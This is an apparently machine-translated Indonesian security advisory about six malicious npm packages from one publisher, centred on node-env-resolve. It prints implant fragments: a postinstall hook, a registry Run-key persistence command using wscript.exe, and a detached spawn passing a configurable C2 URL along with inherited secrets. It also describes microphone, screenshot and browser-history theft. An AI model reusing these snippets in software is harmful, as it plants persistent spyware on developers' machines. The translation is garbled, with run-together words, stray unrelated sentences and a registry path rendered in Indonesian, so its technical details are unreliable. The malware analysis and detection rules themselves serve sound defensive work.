TL; DR
Antara tanggal 1 April dan 3 Mei 2026, satu penerbit npm, user0001, terdaftar dengan alamat Gmail yang belum terverifikasi tanvisoul9@gmail.com, diam-diam meluncurkan enam paket dengan nama yang sengaja dibuat hambar dan terdengar seperti infrastruktur: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, dan node-env-resolve.
Dua versi terbaru dari node-env-resolveVersi 1.0.7 dan 1.0.8, ditandai oleh sistem Peringatan Dini Malware (MEW) Xygeni pada tanggal 2 Mei dan dikonfirmasi sebagai berbahaya pada tanggal 3 Mei.
Implan ini unik karena apa yang tidak dimilikinya: tidak ada bot Telegram, tidak ada panggilan balik OAST, tidak ada obfuscation, dan tidak ada upaya untuk mengambil kredensial AWS pada saat instalasi. Sebaliknya, postinstall.js menanamkan entri persistensi boot Windows, menggunakan kunci Run HKCU yang meluncurkan wscript.exe terhadap sebuah stub VBS. Kemudian ia memunculkan agen Node.js terpisah yang menggabungkan modul untuk menangkap mikrofon, mencuri riwayat browser, mengambil tangkapan layar, dan mensimulasikan mouse/keyboard.
Kami menyebut klaster ini DevTapSetelah perangkat tersebut diinstal, proses selanjutnya berjalan di mesin pengembang.
Keenam paket tersebut aktif di npm pada saat penulisan ini. Kami telah melaporkannya ke saluran penyalahgunaan registri. Para pembela harus menghapus instalasi apa pun dari penerbit yang menunggu penghapusan.
Klaster: Enam Paket, Satu Penerbit
Akun penerbit user0001 belum terverifikasi. Tidak ada SCM verifikasi, tidak ada email yang terikat domain, dan tidak ada riwayat sebelumnya. Nama pengguna Gmail. tanvisoul9 Tidak muncul dalam catatan penerbit npm lain yang dapat kami temukan.
Keenam paket tersebut mencantumkan pengelola yang sama, diterbitkan dari akun yang sama, dan memiliki kesamaan. package.json Teks standar. Tidak ada repositoryDi homepage, dan tidak description lebih panjang dari satu baris.
Strategi penamaan adalah bagian yang menarik. Tidak seperti kampanye kebingungan ketergantungan atau typosquat klasik, tidak satu pun dari nama-nama ini menargetkan pustaka hulu tertentu. Sebaliknya, nama-nama tersebut dirancang agar menyatu dengan lingkungan yang sebenarnya. package.json or npm ls output.
| Paket | Pertama kali diterbitkan | Versi Terbaru | versi | Peran dalam Klaster |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, dari 1.0.5 hingga 1.0.9 | Sampul "utilitas pencatatan" Cluster; publikasi paling awal |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Sampul pembantu DOM generik |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Meniru keluarga node-fetch |
| agen konektor | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Nama generik “agen” |
| runtime node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Meniru alat pembuatan modul asli |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, dari 1.0.0 hingga 1.0.9 | Pipet aktif; implan penuh |
Nama seperti centralogger, node-fetch-lite, dan node-gyp-runtime Dirancang agar terlihat tidak kontroversial dalam tinjauan kode. Kedengarannya seperti hal-hal yang sudah ada dalam pohon dependensi proyek.
Dikombinasikan dengan penerbit baru yang belum terverifikasi dan tautan repositori yang hilang, hal ini membentuk pola yang mudah dikenali: seorang pelaku memasukkan nama-nama dengan hambatan rendah ke dalam registri, kemudian dengan cepat beralih ke nama yang penting. Dalam kasus ini, node-env-resolve menerima sepuluh versi dalam delapan hari.
Apa yang Terpasang pada Komputer Pengembang Windows?
Rantai berbahaya pada node-env-resolve:1.0.8 singkat, langsung, dan kaya fitur secara tidak biasa untuk sebuah RAT npm.
Pascainstalasi: Persistensi dan Agen Terpisah
package.json mendeklarasikan satu hook instalasi:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js melakukan tiga hal secara berurutan.
Pertama, ia menyiapkan direktori instalasi di luar pohon npm. Jalur tersebut dihitung saat runtime dalam skrip sebagai INSTALL_DIRKemudian, ia menjalankan proses internal. execSync('npm install --production --silent ...') di dalamnya untuk menarik dependensi runtime implant. Ini menempatkan agen di disk di suatu tempat secara manual. node_modules Audit tidak akan menemukan.
Kedua, ia menulis peluncur VBS dan mendaftarkannya agar tetap ada saat booting:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe adalah Windows Script Host, sebuah biner Microsoft yang ditandatangani yang menjalankan .vbs file tanpa jendela konsol. Itu adalah versi sebelumnya.cisInilah mengapa metode ini lebih disukai untuk stub yang dijalankan secara otomatis.
Ada juga yang cocok reg delete jalan di dalam src/index.js, yang menunjukkan bahwa implan tersebut dirancang agar dapat dilepas dengan mudah dan bersih atas perintah operator.
Ketiga, ia memunculkan proses anak yang terpisah:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Ada dua detail penting di sini.
SERVER_URL Informasi tersebut dibaca dari lingkungan. Akibatnya, endpoint C2 dapat dikonfigurasi per deployment dan tidak terintegrasi ke dalam paket. Pilihan kecil namun disengaja ini menggagalkan sebagian besar pemindaian IOC statis.
Selain itu, proses anak yang dihasilkan mewarisi seluruh lingkungan induknya. Oleh karena itu, setiap NPM_TOKEN, AWS_*, GITHUB_TOKEN, atau soket SSH-agent yang ada di shell pengembang pada saat instalasi masuk ke memori agen yang berumur panjang.
Apa yang Dikirimkan Agen
yang dibundel src/ Pohon ini mencakup tiga modul yang namanya saja sudah menceritakan kisahnya: audioCapture.js, browserHistory.js, dan systemInfo.js.
Daftar dependensi runtime, yang diselesaikan selama proses bertahap. npm install, menguatkan pernyataan mereka.
Pendekatan ini mengubah insiden yang kacau menjadi respons yang terkendali.
Alih-alih bereaksi secara membabi buta, tim beroperasi dengan prioritas yang jelas dan perbaikan yang cepat.
| Ketergantungan | Apa Fungsinya dalam Konteks Ini? |
|---|---|
| tangkapan layar desktop | Pengambilan tangkapan layar berkala |
| @nut-tree-fork/nut-js | Otomatisasi mouse dan keyboard / simulasi input |
| lebih baik-sqlite3 | Pembacaan langsung basis data SQLite riwayat Chrome, Edge, dan Firefox |
| adm-zip | Mengumpulkan artefak yang telah dikumpulkan sebelum evakuasi. |
| tajam | Mengubah ukuran/mengompres tangkapan layar dan artefak gambar |
| klien socket.io | Saluran C2 dua arah yang persisten |
| ID mesin node | Sidik jari per-host yang stabil untuk pelacakan korban. |
systemInfo.js panggilan os.networkInterfaces() untuk pengambilan sidik jari tambahan sebelum beacon pertama.
Mengapa Rekaman Audio Merupakan Sinyal yang Menonjol?
Sebagian besar RAT npm yang kami sortir di MEW berhenti pada pencurian rahasia saat instalasi. Mereka membaca ~/.npmrc, Baca baca ~/.aws/credentials, mengikis process.env, melakukan POST ke webhook, lalu keluar. Itu sesuai dengan model ekonomi "smash-and-grab". Kredensial memiliki masa pakai yang singkat, dan penyerang perlu memonetisasi dengan cepat.
node-env-resolve Bentuknya berbeda.
Sistem ini dirancang agar tetap berfungsi setelah reboot. Agen berjalan terpisah dan berumur panjang di bawah wscript.exePerangkat yang dibawanya dirancang untuk selalu terpasang di mesin pengembang, bukan untuk diambil lalu ditinggalkan: perekam mikrofon, driver keyboard/mouse, penyerapan riwayat browser lengkap, tangkapan layar, dan saluran Socket.IO interaktif kembali ke C2 yang dapat dikonfigurasi.
Perekaman suara melalui mikrofon khususnya adalah batasan yang dilanggar oleh kampanye ini, yang tidak dilanggar oleh sebagian besar malware npm.
Workstation pengembang, semakin sering, juga menjadi tempat para pengembang melakukan stand-up meeting, menerima panggilan pelanggan, berdiskusi tentang desain, dan mengikuti konferensi on-call. Perangkat perekam mikrofon sebenarnya tidak mengincar token npm pengembang. Perangkat tersebut mengincar apa yang dikatakan pengembang di depan laptop.
Kemampuan tersebut, ditambah dengan tidak adanya pengaburan dan tidak adanya eksfiltrasi data yang mencolok selama instalasi, menunjukkan adanya persiapan untuk akses yang ditargetkan daripada pencurian kredensial yang oportunistik.
Kami tidak hanya menyimpulkan atribusi berdasarkan hal ini saja. Kami hanya mencatat profil operasionalnya.

Siklus iterasi delapan hari pada node-env-resolve merupakan detail yang paling penting secara operasional dalam garis waktu tersebut.
Ini bukan sekadar penyebaran sekali jalan. Penerbit secara aktif memelihara dropper tersebut, yang biasanya berarti salah satu dari dua hal. Entah mereka sedang menyempurnakannya di lingkungan pengujian sebelum penyebaran yang lebih luas, atau mereka sudah memiliki data telemetri instalasi dan sedang menanggapinya.
Lima paket lainnya praktis tidak mengalami perubahan setelah publikasi awalnya. Hal ini sesuai dengan pola "sekali dibuat, biarkan namanya tetap sama" untuk klaster pendukung sementara upaya rekayasa difokuskan pada paket yang melakukan pekerjaan tersebut.
Penentuan Atribusi: Petunjuk Kecil, Tidak Ada Kesimpulan Pasti
Publik OSINT Sinyalnya lemah, dan kita tidak akan memperpanjangnya. Yang dapat diamati adalah:
Akun Gmail tanvisoul9 Sebagian menyerupai nama pemberian dari Asia Selatan, "Tanvi." Ini adalah sinyal yang lemah. Nama pengguna Gmail bukanlah identitas, dan akhiran tersebut soul9 Bersifat umum. Tidak aman untuk menyimpulkan letak geografis hanya dari bagian lokal email saja.
Gaya penulisan kode Node.js biasa saja: standard panggilan pustaka seperti os, child_process, spawn, dan reg addTidak ada pengaburan, tidak ada rotasi string, dan tidak ada logika anti-debug. Penulis merasa nyaman dengan primitif registri Windows dan orkestrasi proses anak yang terpisah, tetapi tampaknya tidak menggunakan teknik yang lebih canggih yang mungkin mereka gunakan.
Dependensi sepenuhnya tersedia dan sudah dikenal luas: screenshot-desktop, nut-js, better-sqlite3, dan socket.io-clientTidak ada protokol khusus, tidak ada tumpukan C2 yang dibuat dari awal, dan tidak ada trik persistensi baru di luar yang ada di buku teks. Kunci HKCU RunIni adalah integrator yang kompeten, bukan pembuat alat.
Kami tidak menemukan string non-Inggris, komentar tersirat, data lokal, atau sidik jari zona waktu keluaran kompiler di dalam artefak yang dipublikasikan.
Kami memeriksa tumpang tindih kode dengan kampanye sebelumnya yang sudah kami lacak, termasuk Shai Hulud, Owlivion, Buildkite, dan heibai/ claude-code-best Keluarga klon Anthropic-CLI. Kami tidak menemukan kesamaan apa pun: tidak ada pola C2 yang sama, tidak ada tata letak file yang sama, dan tidak ada idiom yang sama.
Yang tidak akan kami katakan: bahwa ini adalah aktor negara, kelompok yang dikenal, atau terkait secara geografis dengan negara tertentu.
Profil operasionalnya konsisten dengan tim kecil yang memiliki keterampilan sedang yang melakukan pengawasan terhadap workstation pengembang. Kemungkinan besar motivasinya adalah finansial melalui penggunaan akses oleh pihak hilir, tetapi mungkin juga sebagai layanan pengintaian untuk pembeli terpisah.
Dua poin tidak langsung yang mendukung hal tersebut adalah: menghindari mekanisme eksfiltrasi yang menarik perhatian dan dapat dengan cepat merusak klaster, seperti bot Telegram, oastify.com, atau canarytokens, dan nama paket yang sengaja dibuat hambar, yang lebih mengutamakan instalasi jangka panjang yang tenang daripada lonjakan volume tinggi yang singkat.
Indikator Kompromi dan Deteksi
| Paket dan Penerbit | |
|---|---|
| Bidang | Nilai |
| penerbit npm | user0001 |
| Email penerbit | tanvisoul9@gmail.com, belum terverifikasi |
| Paket Exklusif | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Terkonfirmasi berbahaya | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefak Inang | |
|---|---|
| Tipe | Nilai |
| Kunci persistensi | HKCU\Perangkat Lunak\Microsoft\Windows\Versi Saat Ini\Jalankan |
| Nilai persistensi | Nama variabel; data dalam format wscript.exe " \\ .vbs" |
| Pasang pengait | postinstall: node postinstall.js di manifest paket |
| Modul implan | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Direktori pementasan | INSTALL_DIR diselesaikan di luar node_modules proyek; lokasi ditetapkan oleh postinstall.js pada saat instalasi. |
| jaringan | |
|---|---|
| Tipe | Nilai |
| Transportasi C2 | socket.io-client, saluran dua arah yang persisten |
| Titik akhir C2 | Diberikan kepada agen melalui variabel lingkungan SERVER_URL; tidak dikodekan secara permanen ke dalam artefak yang dipublikasikan. |
Catatan Deteksi
Dua aturan dapat menangkap keluarga ini tanpa memerlukan titik akhir C2.
Pertama, tandai skrip postinstall yang melakukan operasi internal. npm install ke jalur di luar direktori paket itu sendiri. Pengunduh pra-kompilasi yang sah, seperti... node-gyp membangun ulang atau pengunduh biner yang sudah dibuat sebelumnya, menulis di dalam paket atau ke dalam platform-standard Jalur cache dengan hash yang terverifikasi. Ia tidak menulis ke dalam cache yang baru dibuat. INSTALL_DIR di tempat lain pada disk.
Kedua, tandai skrip postinstall yang mengeluarkan perintah tersebut. reg add HKCU\…\Run dengan wscript.exe sebagai peluncur. Ini pada dasarnya tidak pernah sah dari sebuah paket npm. Tandai dan karantina paket tersebut.
Heuristik ketiga berguna untuk mendeteksi paket saudara berikutnya sebelum dikonfirmasi: penerbit npm baru tanpa SCM verifikasi, email Gmail, tidak repository Keberadaan berbagai nama paket yang singkat, umum, dan terdengar seperti infrastruktur yang diterbitkan dalam beberapa hari berturut-turut, dengan sendirinya, sudah cukup untuk memerlukan peninjauan manual.
Telah dilaporkan ke registri npm. Kami akan memperbarui postingan ini setelah akun penerbit dihapus.






